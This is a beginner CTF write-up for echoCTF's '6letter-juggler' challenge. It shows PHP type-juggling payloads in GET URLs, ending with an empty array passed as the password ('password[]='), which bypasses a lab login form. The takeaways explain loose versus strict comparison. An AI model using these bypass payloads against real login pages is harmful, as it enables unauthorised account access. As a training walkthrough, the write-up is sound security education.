echoCTF 6letter-juggler Writeup: PHP Type Juggling Auth Bypass

Challenge Info

• Platform: echoCTF
• Category: Web Security
• Difficulty: CTF Beginners (510 points)
• Description: "Try to bypass the authentication screen by either guessing the password (not really) or through some other way..."
• Challenge Link: https://echoctf.red/target/52

Walkthrough

Step 1: Initial Analysis

Visiting the site, I found a simple login form. The challenge name "6letter-juggler" hands us a couple of hints:

• 6letter - probably suggests a 6-character password
• juggler - in CTFs this usually points to a PHP Type Juggling vulnerability

Step 2: Attempt a login and observe the URL structure:

http://10.0.41.13:1337/index.php?login=John&password=test

The credentials are passed via GET parameters.

Step 3: Trying a Type Juggling Attack

PHP's loose type comparison could be exploitable, so I threw a variety of payloads at it:

# Try a numeric value
http://10.0.41.13:1337/index.php?login=John&password=0

# Try a boolean
http://10.0.41.13:1337/index.php?login=John&password=true

# Try NULL
http://10.0.41.13:1337/index.php?login=John&password=null

Step 4: Array Parameter Bypass

In PHP, when a function expects a string but receives an array, it may return NULL or throw an error:

# Pass an empty array as the password
http://10.0.41.13:1337/index.php?login=John&password[]=

Step 5: Bypass successful! The array parameter got us past authentication:

Flag: ETSCTF_REDACTED

Key Takeaways

• The challenge name matters: juggler hinted at the Type Juggling vulnerability
• The risk of PHP's loose typing: using == instead of === can lead to security issues
• The array parameter trick: password[]= is a classic bypass technique

Lessons Learned

While working through this challenge, I didn't immediately spot that this vulnerability was exploitable. Like usual, I did some recon first — directory brute-forcing, checking the source code, running sqlmap, testing for directory traversal — and only afterwards came back to tinker with this GET URL.